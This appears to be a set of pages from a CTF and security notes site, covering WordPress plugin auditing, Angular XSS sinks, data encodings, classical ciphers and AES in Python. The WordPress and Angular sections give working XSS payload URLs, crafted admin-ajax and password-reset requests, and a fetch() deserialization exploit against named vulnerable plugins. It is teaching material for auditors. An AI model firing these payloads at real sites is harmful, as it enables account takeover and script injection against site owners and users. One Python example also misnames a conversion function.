WordPress can be extended by installing plugins, either through the store or manually by adding them to the `wp-content/plugins/` folder. Custom plugins may contain security vulnerabilities and are a very common source of WordPress issues that [#wpscan](#wpscan "mention") also searches for.

### Inputs

Plugins can add several new inputs to an application that may be vulnerable to all kinds of attacks. Important to know when auditing them is knowing how you can call them.

Starting with **actions**, these can be registered with `add_action()` and their name must be prefixed with `wp_ajax` to be accessible via the web ajax endpoint. By default, these actions require authentication of any (low-privilege) user. Registering them is done by passing a "callable" as the second argument, which may be a function name that PHP calls. See the following example:

<pre class="language-php" data-title="Authenticated Action"><code class="lang-php"><strong>add_action("wp_ajax_get_flag", "get_flag_request_callback");
</strong>
function get_flag_request_callback() {
    $value = file_get_contents('/flag.txt');
    wp_send_json_success(["value" => $value]);  // Send a JSON response
}
</code></pre>

Another more interesting action for hackers is an unauthenticated one. With the `nopriv` prefix, this automatically allows any request without authentication to run the callback function:

<pre class="language-php" data-title="Unauthenticated Action"><code class="lang-php"><strong>add_action("wp_ajax_<a data-footnote-ref href="#user-content-fn-1">nopriv</a>_reset_key", "reset_password_key_callback");
</strong>
function reset_password_key_callback() {
    $user_id = $_POST["user_id"];  // Also takes regular input
    ...
</code></pre>

Anyone can call such an API with the `/wp-admin/admin-ajax.php` endpoint, which requires a `?action=` parameter set to the **name after the prefix**, for example:

```http
POST /wp-admin/admin-ajax.php?action=reset_key HTTP/1.1
Host: localhost:1337
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

user_id=2
```

***

Another type of input adding routes to the REST API at `/wp-json`. These are often registered at the `rest_api_init` action and use the `register_rest_route()` function to give a namespace and endpoint to request. The callback function will run when a request passes the permission check:

<pre class="language-php" data-title="REST API Registration"><code class="lang-php"><strong>add_action("rest_api_init", "register_user_creation_endpoint");
</strong>
function register_user_creation_endpoint() {
<strong>    register_rest_route("user/v1", "/create", [
</strong><strong>        "methods" => "POST",
</strong><strong>        "callback" => "create_user_via_api",
</strong><strong>        "permission_callback" => "__return_true", // Allow anyone to access this endpoint
</strong><strong>    ]);
</strong>}

function create_user_via_api($request) {
    $parameters = $request->get_json_params();  // Has more custom functions like JSON input
    $username = sanitize_text_field($parameters["username"]);
    ...
</code></pre>

Any unauthenticated user can request this endpoint because the `permission_callback` always returns true. A request like the following would be parsed by the callback function:

```http
POST /wp-json/user/v1/create HTTP/1.1
Host: challenge.nahamcon.com:31587
Content-Type: application/json
Content-Length: 23

{"username": "example"}
```

### Exploitation

Because any user can access authenticated actions, plugin developers should check the roles of the current user to prevent unauthorized access. The following example shows how both an `administrator` and `subscriber` may run this code:

{% code title="Role Authorization check" %}

```php
$user = wp_get_current_user();
$allowed_roles = ["administrator", "subscriber"];

if (array_intersect($allowed_roles, $user->roles)) {
    ...
}
```

{% endcode %}

Another interesting piece of code to look at is `wp-login.php` from WordPress itself. The `?action=` parameter is used in a switch statement to execute various different pieces of logic involving user accounts:

{% code title="wp-login.php" %}

```php
switch ( $action ) {
	case 'confirm_admin_email':
	case 'confirm_admin_email':
	case 'postpass':
	case 'logout':
	case 'lostpassword':
	case 'retrievepassword':
	case 'resetpass':
	case 'rp':
	case 'register':
	case 'checkemail':
	case 'confirmaction':
	case 'login':
}
```

{% endcode %}

In one vulnerability, the password reset token was generated in an insecure way, which allowed you to run the `resetpass` action on `wp-login.php` to choose a new password for the user. If you check the source code that handles this action you can see that it handles the `key` and `login` parameters for the reset key and username respectively:

```http
GET /wp-login.php?action=resetpass&key=$USER_ACTIVATION_KEY&login=admin HTTP/1.1
Host: localhost:1337
```

### Common Pitfalls

Some easy mistakes to make when writing custom WordPress plugins. This ranges from unintuitive behavior to some previous CVEs in other plugins.

#### `is_admin()` as privilege check

Functions like [`current_user_can`](https://developer.wordpress.org/reference/functions/current_user_can/) should be used to check the permissions of the currently logged-in user. A developer who doesn't fully read the documentation may encounter the [`is_admin()`](https://developer.wordpress.org/reference/functions/is_admin/) function that sounds like it *should* check if the current user is an administrator.\
However, this is not the case! It instead checks if the *current path* is to an administrator page. Any user can make a request to `/wp-admin/`, the `/wp-admin/admin-ajax.php` handler for example triggers this too.

{% embed url="<https://wordfence.com/learn/how-to-prevent-authentication-bypass-attacks/>" %}
Explaining the `is_admin()` confusion
{% endembed %}

Below is a list of all default **permissions per role** for reference:

1. **Super Admin**
   * Complete Control of **Multi-Site Networks**
2. **Admin**
   * Change **Themes**
   * Add and Remove **Widgets** from Sidebar
   * Activate and Deactivate **Plugins**
   * **Add** and **Remove** *Other Users*
   * Change **Roles** of *Other Users*
3. **Editor**
   * Edit, Delete, or Approve **Comments**
   * Add, Edit or Delete **Tags**
   * Add, Edit, or Delete **Categories**
   * Add and Remove **Links**
   * Edit or Delete Published **Posts** by *Any User*
   * Write *Own* **Page**s
   * Edit or Delete Published **Pages** by *Any User*
   * Edit or Delete **Media** Files
4. **Author**
   * Upload **Media** Files
5. **Contributor**
   * View **Comments**
   * Write *Own* **Posts**
   * Edit *Own* **Posts**
6. **Subscriber**
   * Edit *Own* **Profile**

#### [Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss) in Appmaker

A **Reflected XSS** vulnerability was reported in Appmaker <= 1.36.12 ([details](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/appmaker-woocommerce-mobile-app-manager/appmaker-convert-woocommerce-to-android-ios-native-mobile-apps-13612-reflected-cross-site-scripting)). One of its files looks like this, with a vulnerability in the `hook_payment_footer()` method:

<pre class="language-php" data-title="class-appmaker-wc-general-hooks.php"><code class="lang-php">class APPMAKER_WC_General_hooks {
    public function __construct() {
        ...
        if ( ! empty( $_GET['payment_from_app'] ) ) {
            add_action( 'wp_head', array( $this, 'hook_stripe_enable_headers' ) );
<strong>            add_action( 'wp_footer', array( $this, 'hook_payment_footer' ) );
</strong>        }
    }
    ...
    public function hook_payment_footer() {
<strong>        $gateway = isset( $_GET['payment_gateway'] ) ? $_GET['payment_gateway'] : '';
</strong>        $output  = '
                &#x3C;script type="text/javascript">
                window.onload = function() { 
                    setTimeout(function(){
                ';
        if ( ! empty( $gateway ) ) {
<strong>            $output .= "\n\t\t" . 'document.getElementById("payment_method_' . $gateway . '").checked = true;';
</strong>            $output .= "\n\t\t" . 'document.getElementById("payment_method_' . $gateway . '").click();';
        }
        
new APPMAKER_WC_General_hooks();
</code></pre>

The `?payment_gateway=` parameter is placed directly into the DOM here. It is easily abused by closing the script tag, and then opening a new one with malicious JavaScript. This works from any page as the footer is always loaded.

<pre class="language-php" data-title="plugin.php"><code class="lang-php">class APPMAKER_WC {
    ...
        public static function init() {
		...
                // Unconditionally loads this class
<strong>		require_once dirname( __FILE__ ) . '/lib/class-appmaker-wc-general-hooks.php';
</strong>

<strong>add_action( 'plugins_loaded', array( 'APPMAKER_WC', 'init' ) );
</strong></code></pre>

{% code title="Payload" overflow="wrap" %}

```url
/?payment_from_app=1&payment_gateway=</script><img%20src%20onerror=alert(origin)>
```

{% endcode %}

#### Insecure Deserialization in Social Media Share Buttons

The [social-media-builder](https://wordpress.org/plugins/social-media-builder/) plugin is no longer available for download due to a "Security Issue". It turns out that this is an **authenticated Insecure Deserialization** vulnerability. When calling the `import_buttons` action, the following code is triggered:

<pre class="language-php"><code class="lang-php">class SGMBButton
{
	public $id;
	public $title;
	public $options = array();

	public function init()
	{
            ...
            //! This can be accessed from any authenticated user
<strong>            add_action('wp_ajax_import_buttons', array($this,'importButtons'));
</strong>	}
    
...

public function importButtons()
{
    global $wpdb;
<strong>    $url = $_POST['attachmentUrl'];
</strong><strong>    $contents = unserialize(file_get_contents($url));
</strong>    foreach ($contents as $content) {
        $title = $content->title;
        $options = $content->options;
        $sql = $wpdb->prepare("INSERT INTO ".$wpdb->prefix.'sgmb_widget'."(title, options) VALUES (%s, %s)", $title, $options);
        $res = $wpdb->query($sql);
        echo 'MainRes: '.$res;
    }
}
</code></pre>

A URL inside `?attachmentUrl=` is fetched and unserialized. If the server allows it, you can use a `data:` URI with base64 to return arbitrary content to be deserialized. A JavaScript snippet that triggers this is below:

{% code title="Exploit" %}

```javascript
const payload = `INSERT_DESERIALIZATION_EXPLOIT_HERE`;

fetch("/wp-admin/admin-ajax.php?action=import_buttons", {
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded",
  },
  body: "attachmentUrl=data://text/plain;base64," + btoa(payload),
});
```

{% endcode %}

Replace `INSERT_DESERIALIZATION_EXPLOIT_HERE` with a PHP deserialization gadget chain that may require other outdated libraries or custom code.

[^1]: "nopriv" here implies unauthenticated


# Angular

Frontend framework with template-like syntax

{% hint style="warning" %}
This page is about [Angular](https://angular.dev/) (V2+), *not* [AngularJS](https://angularjs.org/) (V1.x). Check out the [Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss#angularjs) page for ways to achieve XSS using Client-Side Template Injection in that older version of the framework.
{% endhint %}

### innerHTML

The [`innerHTML`](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML) property of HTML elements is notorious in the world of [Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss). This is because in regular JavaScript, it will render a string to the DOM, which may include JavaScript code like `<img src onerror=alert(origin)>`.

Because you can still write raw JavaScript in Angular, the following code will still be vulnerable in the same way:

```javascript
elem.innerHTML = `<p>${input}</p>`
```

The more common way to do this, however, is using a *bind*:

```html
<p [innerHTML]="input"></p>
```

`input` here refers to a variable with that name, defined in JavaScript. While this may look similar, the bind example will apply the [Angular Sanitizer](https://angular.dev/best-practices/security#sanitization-example) ([source code](https://github.com/angular/angular/blob/main/packages/core/src/sanitization/html_sanitizer.ts)). This removes any dangerous HTML elements or attributes.

The filter is pretty tight, and any bypass would be a vulnerability in Angular itself. It is so restricted that some developers will notice intended markup being removed, so they **disable the sanitization**. This can be done using the [`bypassSecurityTrustHtml()`](https://angular.dev/api/platform-browser/DomSanitizer#bypassSecurityTrustHtml) function.

```typescript
constructor(private sanitizer: DomSanitizer) {
  this.input = this.sanitizer.bypassSecurityTrustHtml("<img src onerror=alert(origin)>");
}
```

This is often accompanied by some sort of sanitizer, which you should carefully review to determine if there are any bypasses possible in this potentially less secure version instead of the Angular default.

Another indirect way to put a string into the DOM is using [`DOMParser.parseFromString()`](https://developer.mozilla.org/en-US/docs/Web/API/DOMParser/parseFromString). Because Angular doesn't see this, it will bypass its sanitizer too:

```typescript
@ViewChild("p") p: ElementRef | undefined;
ngAfterViewInit() {
  const html = new DOMParser().parseFromString("<img src onerror=alert(origin)>", "text/html").body.firstChild;
  this.p?.nativeElement.appendChild(html);
}
```


# Encodings

Normally you see text like this, in plain ASCII. But sometimes you want to represent some special characters that have special functions or can't be seen. This is where you could use various encodings to represent the bytes in a different way.

ASCII is a simple set of 128 bytes that represent a lot of common characters we recognize, like letters, numbers, and some special characters. In the `0_` and `1_` column you can also find some non-printable characters. That means these characters cannot be seen normally, but have some special meaning. Take `0a`, for example, this is represented in the table as `LF` which stands for Line Feed. This character is actually the newline character for when you press enter while writing text.

![A table of the ASCII character set](/files/KyUwmcMm8yf28GQNQdw5)

You might notice that the "most significant nibble" only goes up to 7. This is because ASCII only has 128 characters, instead of the 256 possible bytes. This means there are 128 more bytes that are not in ASCII but can still exist.

### Unicode

Many systems nowadays understand Unicode, an extension of ASCII, and quote a big one at that. There are over 100.000 different symbols defined in the standard, with new ones coming. In all these characters there are some that have special properties when changing case or normalizing.

The site below has a searchable table of all known unicode transformations for Uppercase, Lowercase, Normalize NFC, and Normalize NFKC. These can be useful for **bypassing filters**:

{% embed url="<https://gosecure.github.io/unicode-pentester-cheatsheet/>" %}
Table of unicode transformations in different languages
{% endembed %}

As these symbols take up more than 1 byte, they can also be useful for **overflowing** data. A length check on a string often returns the *number of characters* instead of the *number of bytes* in high-level programming languages. By inserting emoji, for example, it is possible to have a length be very small, but the number of bytes much larger:

<pre class="language-python"><code class="lang-python"><strong>>>> len("💻")
</strong>1
<strong>>>> "💻".encode()
</strong>b'\xf0\x9f\x92\xbb'
<strong>>>> len("💻".encode())
</strong>4
</code></pre>

## Hexadecimal

As you can see in the table above, sometimes numbers are represented including the `A-F` characters. This is known as hexadecimal or just "hex" because it allows for 16 values per digit (`0-9` and `A-F`). A common way to say a number is in this hex format is by adding `0x` in front of it, like `0x2a`.

Every digit is extended by 6 more characters, meaning it can store more information in fewer digits. The nice thing about hex is the fact that 2 digits can store `16x16=256` values, exactly the amount of possible bytes (`2^8=256`). This makes it really useful to represent bytes with, and that is what it is often used for.

As we saw with ASCII, all characters can be assigned a number. We can convert this number to hex to get the hexadecimal representation of the character and keep doing this for all the characters. Eventually, we end up with a big string of hex characters that represent the original string:

```python
# "Hello, world!"
ASCII:   "H   e    l    l    o    ,       w    o    r    l    d    !"
Decimal: [72, 101, 108, 108, 111, 44, 32, 119, 111, 114, 108, 100, 33]
Hex:    0x48  65   6c   6c   6f   2c  20  77   6f   72   6c   64   21
# 0x48656c6c6f2c20776f726c6421
```

You can use [#python](#python "mention") or [CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex\('None',0\)\&input=SGVsbG8sIHdvcmxkIQ) to easily convert to hex.

## Base64

Base64 is another very common way to represent data just like hex. Hex is not very efficient as it always takes up 2 digits per byte. Base64 is better at this by having 64 possible characters to represent any bytes. It is a very useful encoding for representing non-printable characters as printable characters, and works as follows:

First, start by converting your desired bytes to binary (1's and 0's):

```python
"Hello, world!"
[72, 101, 108, 108, 111, 44, 32, 119, 111, 114, 108, 100, 33]
01001000 01100101 01101100 01101100 01101111 00101100 00100000 01110111 01101111 01110010 01101100 01100100 00100001
```

Then we take this big stream of binary and split it into chunks of 6 bits:

```python
010010 000110 010101 101100 011011 000110 111100 101100 001000 000111 011101 101111 011100 100110 110001 100100 001000 01
```

You may notice at the very end there are two `01` characters left, not a full 6 bits. We'll just fill these up with 0's.

Then finally we use the Base64 alphabet to convert these 6-bit values back to printable characters, and as a last step you should add `=` characters until the length of the string is a multiple of 3:

![The Base64 alphabet showing decimal, binary and character representations](/files/oa2TR6AzSGiLV3I6RhID)

```python
12341234123412341234
SGVsbG8sIHdvcmxkIQ==
```

This resulting string is our Base64 string. It will always only contain characters from the Base64 alphabet which makes it easy for systems because they won't have to deal with unexpected characters.

Decoding the string works in the same way but in reverse. First, you would convert the Base64 string back to the binary stream using the base64 alphabet, and then take chunks of 8 from it to get back the original bytes.

You can use [#python](#python "mention") or [CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Base64\('A-Za-z0-9%2B/%3D'\)\&input=SGVsbG8sIHdvcmxkIQ) to easily convert to Base64.

{% hint style="info" %}
**Note**: Sometimes flags or other secrets are 'hidden' in Base64. You can search through files for a specific string using [Grep](/forensics/grep), but you can also search in Base64 by first encoding your search string in Base64, and then taking off the last character (because it can change). This will allow you to search for a string in Base64, and you may find encoded flags (see [this writeup](https://jorianwoltjer.com/blog/p/ctf/hacky-holidays-unlock-the-city-2022/pizza-pazzi#the-base64-cheese))
{% endhint %}

### Other bases

Base64 is by far the most common format, but there are a few more similar base encodings. One example is **Base32**, which works the same as Base64 but uses chunks of 5 bits to per output character, so it takes up more space but has a more limited charset. This is useful for systems that don't allow capitalization like DNS domain names sometimes.

Another variant is **Base58** which is a little smaller than Base64, removing often misread characters like `I`, `l`, `O` and `0`. It is mostly used in cryptocurrency addresses like Bitcoin but can look very similar to Base64.

These other bases are also found in Python and [CyberChef ](https://gchq.github.io/CyberChef/#recipe=To_Base58\('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\)\&input=SGVsbG8sIHdvcmxkIQ)recipes, with often some option to specify a custom alphabet yourself because they are not always standardized.

## Big Integers

Strings are always stored as bytes on a computer. Let's take the "Hello" string for example:

```python
String: "H  e  l  l  o"
Bytes:   48 65 6c 6c 6f
```

Integers are also just stored as bytes on a computer:

```python
Number: 1337
Bytes:  05 39
```

But what if we read a string as bytes from memory like it was an integer? We would get the Big Endian integer representation.

```python
String: "Hello"
Integer: 310939249775
```

This type of encoding is pretty common when working with mathematical cryptosystems like [RSA](/cryptography/asymmetric-encryption/rsa), because they work with numbers instead of strings. That way the math works the same and you can just convert it back to a string at the end.

You can use hex functions or the PyCryptodome library in [#python](#python "mention") to easily convert to this integer notation.

## Python

Python has lots of functions to easily convert to and between these different representations. One thing you need to keep in mind when working with Python is the difference between **strings** and **bytestrings**. They will come up very often and it's important to understand what they both allow you to do.

### Strings vs Bytestrings

Normal strings are defined just by using `"` or `'` quotes. It is a series of **printable** characters used to store normal text data. But everything in a computer is stored in bytes, so these characters need to be **encoded** to bytes first before they are stored.\
This is where bytestrings come in. They are the encoded variant of a string and are the exact bytes the string is made of. This means you have much easier control over the bytes. These types of strings are defined just like a normal string with quotes, but with a `b` prepended to the quotes.

```python
String:      "Hello 👋"
Bytestring: b'Hello \xf0\x9f\x91\x8b'
```

In the example above you can see the unprintable characters that make up the emoji are shown as `\x[hex]`. This representation just means one hexadecimal byte when you see it.

To convert between strings and bytestrings you can use the `.encode()` and `.decode()` functions on the objects. And since bytestrings are basically just a list of integers from 0-255 under the hood, you can even use the `bytes()` function to convert a list of integers directly to a bytestring.

```python
string = "Hello 👋"  # Normal string
bytestring = string.encode()  # Encode to bytestring
print(bytestring)  # b'Hello \xf0\x9f\x91\x8b'

decoded = bytestring.decode()  # Decode back to normal string
print(decoded)  # Hello 👋

ints = list(bytestring)  # Get the list of integers from the raw bytes
print(ints)  # [72, 101, 108, 108, 111, 32, 240, 159, 145, 139]

ints[0] = 74  # Set the first character to a "J" in ASCII
new_bytestring = bytes(ints)  # Convert the list of integers back to a bytestring
new_string = new_bytestring.decode()
print(new_string)  # "Jello 👋"
```

### Converting encodings

<pre class="language-python"><code class="lang-python"># Convert bytestring to hex
<strong>>>> b"Hello, world!".hex()
</strong>'48656c6c6f2c20776f726c6421'
<strong>>>> bytes.fromhex('48656c6c6f2c20776f726c6421')  # Really useful!!
</strong>b'Hello, world!'

# Convert bytestring to base64
>>> from base64 import b64encode, b64decode
<strong>>>> b64encode(b"Hello, world!")
</strong>b'SGVsbG8sIHdvcmxkIQ=='
<strong>>>> b64decode(b'SGVsbG8sIHdvcmxkIQ==')
</strong>b'Hello, world!'

# Convert bytes to a big integer (long)
>>> from Crypto.Util.number import bytes_to_long, long_to_bytes
<strong>>>> bytes_to_long(b"Hello")
</strong>310939249775
<strong>>>> bytes_to_long(310939249775)
</strong>b'Hello'
# Manual method using hex
<strong>>>> int(b"Hello".hex(), 16)
</strong>310939249775
<strong>>>> bytes.fromhex(hex(310939249775)[2:])
</strong>b'Hello'
</code></pre>

### Useful functions

Some useful functions not mentioned above for various things:

<pre class="language-python"><code class="lang-python"># Add an integer value to a bytestring
>>> b = b"Hello "
<strong>>>> b += bytes([65])  # Add a list of length one
</strong>b'Hello A'
# Get the ASCII value for a character
<strong>>>> ord("J")  # Single character to integer
</strong>74
<strong>>>> chr(74)  # Integer to single character
</strong>"J"
<strong>>>> [ord(c) for c in "Hello"]  # Use list comprehension to convert a whole string
</strong>[72, 101, 108, 108, 111]
# Get the integer value from a character in a bytestring (they act like lists)
>>> b = b"Hello, world!"
<strong>>>> b[0]  # Get an index
</strong>72  # "H"
<strong>>>> for c in b[:5]:  # You can iterate over the bytestring like a list
</strong><strong>...     print(c)
</strong>72   # "H" 
101  # "e"
108  # "l"
108  # "l"
111  # "o"
# Convert an integer to hex
<strong>>>> hex(1337)
</strong>0x539
<strong>>>> 0x539  # Python reads numbers with 0x in front directly as hex
</strong>1337
<strong>>>> int("539", 16)  # Convert hex string to an integer
</strong>1337
</code></pre>

## Recognition

There are a lot of encodings out there, which are very useful for machines, but not often very readable for humans. There are a few tricks though to quickly recognize certain encodings that give away what they are.

The first thing to know is that the English letters go from 65 to 122 in **ASCII**. The lowercase letters start at 97 and are the most common, so if you see a list of decimal numbers around **97-122** you can be pretty sure that it is just the ASCII integer representation, and you can decode it from decimal: [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Decimal\('Space',false\)\&input=NzIgMTAxIDEwOCAxMDggMTExIDQ0IDMyIDExOSAxMTEgMTE0IDEwOCAxMDAgMzM)

Next, the **hexadecimal** encoding is very similar. It's just the ASCII values but converted to hex, which goes from 0x41 to 0x7a. The lowercase letters start from 0x61 again, so a list of values from **0x61 to 0x7a** is likely to be hex encoded. Hex characters are often represented without any spacing because they always take up 2 bytes of space, so recognizing a lot of 6's and 7's should be what you're looking for. Then you can of course decode again from hex: [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Hex\('None'\)\&input=NDg2NTZjNmM2ZjJjMjA3NzZmNzI2YzY0)

Finally, **Base64** has a few indicators. The first and most obvious is the **`=`** **signs** at the end, being the padding that Base64 often needs. Almost no other encoding does this so it's a clear sign of some base encoding. Then the with Base64 character set it often looks like random characters. But because Base64 is basically converting character by character, we can recognize the start of a string like `{"` for **JSON**, which will look like **`eyJ`** or **`eyI`**. Then you know there is a JSON value when you decode it: [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Base64\('A-Za-z0-9%2B/%3D',true,false\)\&input=ZXlKclpYa2lPaUFpZG1Gc2RXVWlmUT09)


# Ciphers

Ways to encrypt text. Often methods used a long time ago to send secret messages

## CyberChef

CyberChef is a great tool to stack various text operations. You can do things like URL encode, then Base64, then To Hex, etc. Just put some text in the input, apply operations as a recipe by dragging them from the left, and see the output.

{% embed url="<https://gchq.github.io/CyberChef/>" %}
CyberChef: The Cyber Swiss Army Knife
{% endembed %}

It also has a **Magic** operation that tries lots of operations recursively, until some possible text comes out. [Example](https://gchq.github.io/CyberChef/#recipe=XOR\(%7B'option':'Decimal','string':'42'%7D,'Standard',false\)To_Base64\('A-Za-z0-9%2B/%3D'\)To_Hex\('None',0\)Comment\('The%20recipe%20above%20encrypts%20the%20text.%20Click%20the%20%F0%9F%9A%AB%20or%20%E2%8F%B8%EF%B8%8F%20icon%20below%20to%20see%20the%20encrypted%20text%20before%20Magic%20finds%20it.'\)Magic\(3,true,false,'%5E%5B%20-~%5D%2B$'\)\&input=ZmluZCBtZSB1c2luZyBtYWdpYw)

To test/debug recipes you can use the ![](/files/ikuWNeyc0kEaMsjVp1Wl) button to **disable** the operation, and the ![](/files/RbR5xiyCCYu4JpD5whr6) button to **stop/pause** the recipe before it reaches this operation.

## Ciphers

There are lots of different ciphers out there, and often it's a game of recognizing certain features of the ciphertext and then deciding on a cipher to try. Some ciphers have keys, but these can often be brute-forced until some English text comes out, or until it fits a `CTF{.*}` flag format.

A good tool to automatically recognize and suggest ciphers is the one from Boxentriq. Lots of ciphers I won't cover here can be found on their site:

{% embed url="<https://www.boxentriq.com/code-breaking/cipher-identifier>" %}
Tool to automatically detect cipher from ciphertext
{% endembed %}

Another great tool is [dCode](https://www.dcode.fr/en), which you'll find often when searching for tools that can decrypt your cipher. It has lots of tools for even the most exotic of ciphers and can brute-force some parameters automatically. It also has a **Cipher Identifier**:

{% embed url="<https://www.dcode.fr/cipher-identifier>" %}
Automatic cipher identifier from dcode.fr with 200+ ciphers
{% endembed %}

For non-text cipher that uses **symbols** instead, try looking at their list of *Symbol Ciphers*:

{% embed url="<https://www.dcode.fr/symbols-ciphers>" %}
List of symbols used in specific cipher, can be used to recognize your ciphertext
{% endembed %}

### ROT13

ROT13 stands for "Rotate by 13", meaning you rotate all the letters by 13. This means the first letter (A) becomes the 14th letter (N). When you reach the end of the alphabet you just wrap around back to the start. The 20th letter in the alphabet (T) becomes `20 + 13 = 33 - 26 = 7` meaning the 7th letter (G).

This rotation does not need to be 13, although it's the most common. You can rotate the letters by any amount from 0-26.

{% code title="Example" %}

```python
CTF{f4k3_fl4g_f0r_t3st1ng}  # Plaintext
-------------------------- ROT 13
PGS{s4x3_sy4t_s0e_g3fg1at}  # Ciphertext
```

{% endcode %}

[CyberChef](https://gchq.github.io/CyberChef/#recipe=ROT13\(true,true,false,19\)\&input=SkFNe200cjNfbXM0bl9tMHlfYTN6YTF1bn0), [Brute-Force](https://gchq.github.io/CyberChef/#recipe=ROT13_Brute_Force\(true,true,false,100,0,true,'CTF%7B'\)\&input=SkFNe200cjNfbXM0bl9tMHlfYTN6YTF1bn0)

### ROT47

Similarly to [#rot13](#rot13 "mention"), ROT47 also rotates characters by some constant amount. But this time the whole printable ASCII character set, meaning 33 (`!`) to 126 (`~`). It rotates through this whole character set and wraps around just like ROT13.

This also can have any amount of rotation from 0-94.

{% code title="Example" %}

```python
CTF{f4k3_fl4g_f0r_t3st1ng}  # Plaintext
-------------------------- ROT 47
>OAva/f.Zag/bZa+mZo.no,ibx  # Ciphertext
```

{% endcode %}

[CyberChef](https://gchq.github.io/CyberChef/#recipe=ROT47\(52\)\&input=bX5wRzJeN10rMjheMysyWj4rQF0/QFs6M0k), [Brute-Force](https://gchq.github.io/CyberChef/#recipe=ROT47_Brute_Force\(100,0,true,'CTF%7B'\)\&input=bX5wRzJeN10rMjheMysyWj4rQF0/QFs6M0k)

### XOR

As explained in detail in [XOR](/cryptography/xor), it XORs all the bits from a given plaintext or ciphertext, with a key that is often repeating. It can generate any set of bytes, including non-printable characters. This means it's often encoded in something like Base64 or Hex to make sure it can be sent properly. [XOR](/cryptography/xor#repeating-key-xor) can be brute-forced, and with a known plaintext you can recover the key.

{% code title="Example" %}

```python
01000010 01111001 01100101 = "Hey"  # Plaintext
01001011 01000101 01011001 = "KEY"  # Key
-------------------------- XOR
00001001 00111100 00111100 = "\t<<"  # Ciphertext
```

{% endcode %}

[CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Hex\('Auto'\)XOR\(%7B'option':'Hex','string':'42'%7D,'Standard',false\)\&input=MDExNjA0MzkyNDc2Mjk3MTFkMjQyZTc2MjUxZDI0NzIzMDFkMzY3MTMxMzY3MzJjMjUzZg), [Brute-Force](https://gchq.github.io/CyberChef/#recipe=From_Hex\('Auto'\)XOR_Brute_Force\(1,100,0,'Standard',false,true,false,'CTF%7B'\)\&input=MDExNjA0MzkyNDc2Mjk3MTFkMjQyZTc2MjUxZDI0NzIzMDFkMzY3MTMxMzY3MzJjMjUzZg)

### ADD

The ADD cipher adds a number to every byte and wraps around when it goes over 255. For every character in the plaintext, it gets the character in the key that is often repeating.

```python
4354467b66346b335f666c34675f6630725f74337374316e677d = "CTF{f4k3_fl4g_f0r_t3st1ng}"  # Plaintext
7365637265747365637265747365637265747365637265747365 = "secretsecretsecretsecretse"  # Key
-------------------------- ADD
b6b9a9edcba8de98c2d8d1a8dac4c9a2d7d3e798d6e696e2dae2 = "¶¹©íË¨Þ.ÂØÑ¨ÚÄÉ¢×Óç.Öæ.âÚâ"  # Ciphertext
```

{% code title="Invert a key" %}

```python
def encrypt_key_to_decrypt_key(key):
    return bytes(256 - c for c in key).hex()
```

{% endcode %}

[CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Hex\('Auto'\)ADD\(%7B'option':'Hex','string':'8d9b9d8e9b8c'%7D\)\&input=YjZiOWE5ZWRjYmE4ZGU5OGMyZDhkMWE4ZGFjNGM5YTJkN2QzZTc5OGQ2ZTY5NmUyZGFlMg)

### Substitution Cipher

A substitution cipher works by replacing certain letters with other letters. The secret here is the alphabet used, meaning what letters map to what other letters. There are some online tools that can use some analytics to find what text/key is the most likely to be correct:

{% embed url="<https://planetcalc.com/8047/>" %}
Automatic Substitution Cipher cracker
{% endembed %}

If an online tool cannot solve it, you might need to do some manual work. A great tool that can help with this is the following:

{% embed url="<https://www.boxentriq.com/code-breaking/cryptogram>" %}
Manual Substitution Cipher solver
{% endembed %}

Simply input your ciphertext, and click **Start Manual Solving**. Here you can view your ciphertext, and plaintext so far in the **Text** field. In the **Key** field, you can fill out what letters should correspond to each other. The easiest way is to look at the spacing of your target text if there is any, and guess what some words might be. Then you can slowly fill in other letters and guess more words.

When working with English text, you can use the **Word finder** there to put wildcards for letters you don't know and find possible matching words. If your plaintext is likely in another language than English, you might want to look for any other online Wildcard dictionary searchers or create your own from a wordlist in your favorite programming language.

Another tool that might help in the case of **short text** or a **different language** than existing tools use, is my own **SubSolver**:

{% embed url="<https://github.com/JorianWoltjer/SubSolver>" %}
CLI tool to Solve Substitution Ciphers using a wordlist
{% endembed %}

It allows you to provide a wordlist and tries every possible combination of words in that list efficiently to find possible solutions that fit with the repeated letters and spacing in a ciphertext.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ time ./target/release/sub-solver -s "Tcxd dlzhrtm edbe ec tmcpfitd xs ecch rl ifercl"
</strong>[*] Using empty starting key
[*] Using built-in english wordlist
[+] Loaded 13255 unique patterns
[+] Saved dictionary cache
[*] Input string: "Tcxd dlzhrtm edbe ec tmcpfitd xs ecch rl ifercl"
[+] Parsed 9 input words
[+] Pruned impossible words
[*] Starting to find solutions...
?xoetc?la??nh??w?iys???m?g -> some english text to showcase my tool in action
?xoetc?la??nh??w?irs???m?g -> some english text to showcase mr tool in action
?xoetc?la??nh??w?ius???m?g -> some english text to showcase mu tool in action
[+] Finished! (3 solutions)

real    0m0.117s
</code></pre>


# AES

The Advanced Encryption Standard is a common symmetric encryption standard with a few different modes of operation

## Python

The [PyCryptodome](https://pypi.org/project/pycryptodome/) library has a lot of useful functions including AES

```shell
pip install pycryptodome
```

AES uses PKCS#7 padding to pad all data into blocks of 16 bytes. You can use the `pad()` and `unpad()` functions from `Crypto.Util.Padding` to do this easily.

Here are some common operations you would want to do with AES:

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os

# ECB Encrypt
plaintext = b"Hello, world! (ECB)"
KEY = os.urandom(16)  # 16 bytes
cipher = AES.new(KEY, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
# ECB Decrypt
cipher = AES.new(KEY, AES.MODE_ECB)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
